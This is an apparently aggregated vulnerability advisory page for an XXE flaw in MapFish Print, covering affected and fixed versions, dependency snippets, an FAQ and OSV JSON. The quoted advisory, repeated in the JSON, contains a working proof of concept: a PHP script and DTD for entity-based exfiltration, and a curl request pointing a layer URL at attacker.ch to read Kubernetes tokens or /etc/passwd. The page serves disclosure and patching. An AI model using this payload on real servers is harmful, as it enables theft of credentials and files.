Vulnerabilities in pkg:maven/org.mapfish/print.print-servlet

PACKAGE
Advisory Identifier: GHSA-5v29-34h8-v68r
Advisory Summary

CVE-2026-55848 is a HIGH (CVSS 8.6) mapfish print has xxe that vulnerability (CWE-611: Improper Restriction of XML External Entity Reference) affecting Print lib libraries in the Maven ecosystem. The issue involves mapfish print has xxe that allows reading arbitrary files of certain types. Remediation is available by upgrading affected packages to version 3.28.30, 3.30.32, 3.31.24, 3.33.16, 4.0.5.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/org.mapfish/print.print-servlet

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/org.mapfish/print.print-servlet. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-5v29-34h8-v68r CVE-2026-55848 HIGH MapFish Print has XXE that allows reading arbitrary files of certain types

CVE-2026-55848 at a Glance

CVE Identifier CVE-2026-55848
GHSA Identifier GHSA-5v29-34h8-v68r
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-611: Improper Restriction of XML External Entity Reference
Affected Product Print lib
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55848

To remediate this vulnerability, upgrade all affected Print lib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.mapfish.print:print-lib fixed: 3.28.30
<dependency>
    <groupId>org.mapfish.print</groupId>
    <artifactId>print-lib</artifactId>
    <version>3.28.30</version>
</dependency>
org.mapfish:print.print-servlet fixed: 3.28.30
<dependency>
    <groupId>org.mapfish</groupId>
    <artifactId>print.print-servlet</artifactId>
    <version>3.28.30</version>
</dependency>
org.mapfish.print:print-lib fixed: 3.30.32
<dependency>
    <groupId>org.mapfish.print</groupId>
    <artifactId>print-lib</artifactId>
    <version>3.30.32</version>
</dependency>
org.mapfish.print:print-servlet fixed: 3.30.32
<dependency>
    <groupId>org.mapfish.print</groupId>
    <artifactId>print-servlet</artifactId>
    <version>3.30.32</version>
</dependency>
org.mapfish.print:print-servlet fixed: 3.31.24
<dependency>
    <groupId>org.mapfish.print</groupId>
    <artifactId>print-servlet</artifactId>
    <version>3.31.24</version>
</dependency>
org.mapfish.print:print-lib fixed: 3.33.16
<dependency>
    <groupId>org.mapfish.print</groupId>
    <artifactId>print-lib</artifactId>
    <version>3.33.16</version>
</dependency>
org.mapfish.print:print-servlet fixed: 3.33.16
<dependency>
    <groupId>org.mapfish.print</groupId>
    <artifactId>print-servlet</artifactId>
    <version>3.33.16</version>
</dependency>
org.mapfish.print:print-lib fixed: 4.0.5
<dependency>
    <groupId>org.mapfish.print</groupId>
    <artifactId>print-lib</artifactId>
    <version>4.0.5</version>
</dependency>
org.mapfish.print:print-servlet fixed: 4.0.5
<dependency>
    <groupId>org.mapfish.print</groupId>
    <artifactId>print-servlet</artifactId>
    <version>4.0.5</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.mapfish.print

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-55848, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.mapfish.print

Analyze the terminal output to locate any version of Print lib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.28.30), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.mapfish.print command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-611: Improper Restriction of XML External Entity Reference, where the product processes an xml document that can contain xml entities with uris that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. In Print lib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs. https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507 ### Details To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer. The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path. ### PoC Host this php file somewhere as xxe.php: ``` <?php $p=$_GET['p']; $d=dirname($_SERVER['SCRIPT_NAME']); $u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd"; header('Content-Type: application/xml'); echo "<?xml version=\"1.0\"?> <!DOCTYPE x [ <!ENTITY % payload SYSTEM \"file://$p\"> <!ENTITY % dtd SYSTEM \"$u\"> %dtd; ]> <wfs:FeatureCollection xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:gml=\"http://www.opengis.net/gml\"> <!-- ".str_repeat('x',200)." --> <gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy> </wfs:FeatureCollection>"; ``` and beneath host this "evil.dtd" `<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;` Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files) `curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \ -H 'Content-Type: application/json' \ -d '{"layout":"1. A4 landscape","attributes":{"printDate":"a","url":"","copyright":"","qrimage":"","map":{"projection":"EPSG:2056","rotation":0,"dpi":96,"center":[2600000,1200000],"scale":100000,"layers":[{"type":"gml","url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"}]}},"outputFormat":"pdf"}'` Its also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you. It is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https:// ### Impact disclose local files. blind(ish) SSRF (depends on the servers response data)

CVE-2026-55848 Affected Print lib Versions

9 component(s)
Fixed Versions:
3.28.303.30.323.31.243.33.164.0.5
Product / Package Ecosystem Affected Versions Fixed Version
org.mapfish.print:print-lib
Maven
≥ 3.0.0
< 3.28.30
3.28.30
org.mapfish:print.print-servlet
Maven
≥ 3.0.0
< 3.28.30
3.28.30
org.mapfish.print:print-lib
Maven
≥ 3.29.0
< 3.30.32
3.30.32
org.mapfish.print:print-servlet
Maven
≥ 3.29.0
< 3.30.32
3.30.32
org.mapfish.print:print-servlet
Maven
≥ 3.31.0
< 3.31.24
3.31.24
org.mapfish.print:print-lib
Maven
≥ 3.32.0
< 3.33.16
3.33.16
org.mapfish.print:print-servlet
Maven
≥ 3.32.0
< 3.33.16
3.33.16
org.mapfish.print:print-lib
Maven
≥ 3.34.0
< 4.0.5
4.0.5
org.mapfish.print:print-servlet
Maven
≥ 3.34.0
< 4.0.5
4.0.5

References

GitHub Advisory / Wiki ADVISORY
https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r
Print lib Source Repository REPOSITORY
https://github.com/mapfish/mapfish-print/pull/4221
Print lib Source Repository REPOSITORY
https://github.com/mapfish/mapfish-print/pull/4219
Print lib Source Repository REPOSITORY
https://github.com/mapfish/mapfish-print/pull/4217
Print lib Source Repository REPOSITORY
https://github.com/mapfish/mapfish-print/pull/4216
Print lib Source Repository REPOSITORY
https://github.com/mapfish/mapfish-print/pull/4215
Print lib Source Repository REPOSITORY
https://github.com/mapfish/mapfish-print/pull/4212
Security Fix Commit FIX COMMIT
https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1
Security Fix Commit FIX COMMIT
https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236
Security Fix Commit FIX COMMIT
https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d
Security Fix Commit FIX COMMIT
https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb
Security Fix Commit FIX COMMIT
https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121
Security Fix Commit FIX COMMIT
https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec
Print lib Release RELEASE
https://github.com/mapfish/mapfish-print/releases/tag/3.28.30
Print lib Release RELEASE
https://github.com/mapfish/mapfish-print/releases/tag/3.30.32
Print lib Release RELEASE
https://github.com/mapfish/mapfish-print/releases/tag/3.31.24
Print lib Release RELEASE
https://github.com/mapfish/mapfish-print/releases/tag/4.0.5
Print lib Source Repository REPOSITORY
https://github.com/mapfish/mapfish-print

Frequently Asked Questions

What is CVE-2026-55848?
CVE-2026-55848 is a security vulnerability in Print lib involving MapFish Print has XXE that allows reading arbitrary files of certain types under CWE-611: Improper Restriction of XML External Entity Reference.
Which Print lib versions are affected?
Affected versions include releases prior to 3.28.30, 3.30.32, 3.31.24, 3.33.16, 4.0.5 across affected packages: org.mapfish.print:print-lib, org.mapfish:print.print-servlet, org.mapfish.print:print-servlet.
What version fixes CVE-2026-55848?
Upgrading to 3.28.30, 3.30.32, 3.31.24, 3.33.16, 4.0.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is print-lib affected?
Yes, org.mapfish.print:print-lib is affected in releases prior to 3.28.30, 3.30.32, 3.33.16, 4.0.5. Upgrade your dependency to 3.28.30, 3.30.32, 3.33.16, 4.0.5 or later.
Is print.print-servlet affected?
Yes, org.mapfish:print.print-servlet is affected in releases prior to 3.28.30. Upgrade your dependency to 3.28.30 or later.
What is the CVSS score of CVE-2026-55848?
CVE-2026-55848 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-55848?
CVE-2026-55848 is classified under CWE-611: Improper Restriction of XML External Entity Reference (The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.).
How can I check Maven dependencies for CVE-2026-55848?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.mapfish.print'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5v29-34h8-v68r",
  "modified" : "2026-08-28T22:33:35Z",
  "published" : "2026-08-28T22:33:35Z",
  "aliases" : [ "CVE-2026-55848" ],
  "summary" : "MapFish Print has XXE that allows reading arbitrary files of certain types",
  "details" : "### Summary\nXXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.\n\nhttps://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507\n\n### Details\nTo trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.\n\nThe 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.\n\n### PoC\nHost this php file somewhere as xxe.php:\n\n```\n<?php\n$p=$_GET['p'];\n$d=dirname($_SERVER['SCRIPT_NAME']);\n$u=(empty($_SERVER['HTTPS'])?'http':'https').\"://{$_SERVER['HTTP_HOST']}$d/evil.dtd\";\nheader('Content-Type: application/xml');\necho \"<?xml version=\\\"1.0\\\"?>\n<!DOCTYPE x [\n <!ENTITY % payload SYSTEM \\\"file://$p\\\">\n <!ENTITY % dtd SYSTEM \\\"$u\\\">\n %dtd;\n]>\n<wfs:FeatureCollection xmlns:wfs=\\\"http://www.opengis.net/wfs\\\" xmlns:gml=\\\"http://www.opengis.net/gml\\\">\n<!-- \".str_repeat('x',200).\" -->\n<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>\n</wfs:FeatureCollection>\";\n```\n\nand beneath host this \"evil.dtd\"\n\n`<!ENTITY % exfil \"<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>\">\n%exfil;\n%error;`\n\nNow send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)\n\n`curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"layout\":\"1. A4 landscape\",\"attributes\":{\"printDate\":\"a\",\"url\":\"\",\"copyright\":\"\",\"qrimage\":\"\",\"map\":{\"projection\":\"EPSG:2056\",\"rotation\":0,\"dpi\":96,\"center\":[2600000,1200000],\"scale\":100000,\"layers\":[{\"type\":\"gml\",\"url\":\"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token\"}]}},\"outputFormat\":\"pdf\"}'`\n\nIts also noteworthy that when you use just a path with slash in the end /tmp/ for example - it will literally list the files and output this for you.\n\nIt is actually also possible to trigger an SSRF and request internal URLs if you'd change the file:// prefix in the dtd to https:// \n\n### Impact\ndisclose local files. blind(ish) SSRF (depends on the servers response data)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish.print:print-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.28.30"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish:print.print-servlet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.28.30"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish.print:print-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.29.0"
      }, {
        "fixed" : "3.30.32"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish.print:print-servlet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.29.0"
      }, {
        "fixed" : "3.30.32"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish.print:print-servlet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.31.0"
      }, {
        "fixed" : "3.31.24"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish.print:print-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.32.0"
      }, {
        "fixed" : "3.33.16"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish.print:print-servlet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.32.0"
      }, {
        "fixed" : "3.33.16"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish.print:print-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.34.0"
      }, {
        "fixed" : "4.0.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.mapfish.print:print-servlet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.34.0"
      }, {
        "fixed" : "4.0.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/security/advisories/GHSA-5v29-34h8-v68r"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/pull/4221"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/pull/4219"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/pull/4217"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/pull/4216"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/pull/4215"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/pull/4212"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/commit/d13911ac6e0509444d64e74830f10b14e4dcfdf1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/commit/a55a24873db5f19b37abac7d59144dc86406c236"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/commit/56c47d3bf70d8428916dea8ed7005518ad07dc7d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/commit/3525e8150fcb5f40095930ccf7aec0d8ce92bbcb"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/commit/23a96e7baa15077bdb0e5fc5a72b18da23af9121"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/commit/13beae7a7f970fc3526c1f7ca5db817d8d51fbec"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/releases/tag/3.28.30"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/releases/tag/3.30.32"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/releases/tag/3.31.24"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mapfish/mapfish-print/releases/tag/4.0.5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mapfish/mapfish-print"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-611" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T22:33:35Z",
    "nvd_published_at" : null
  }
}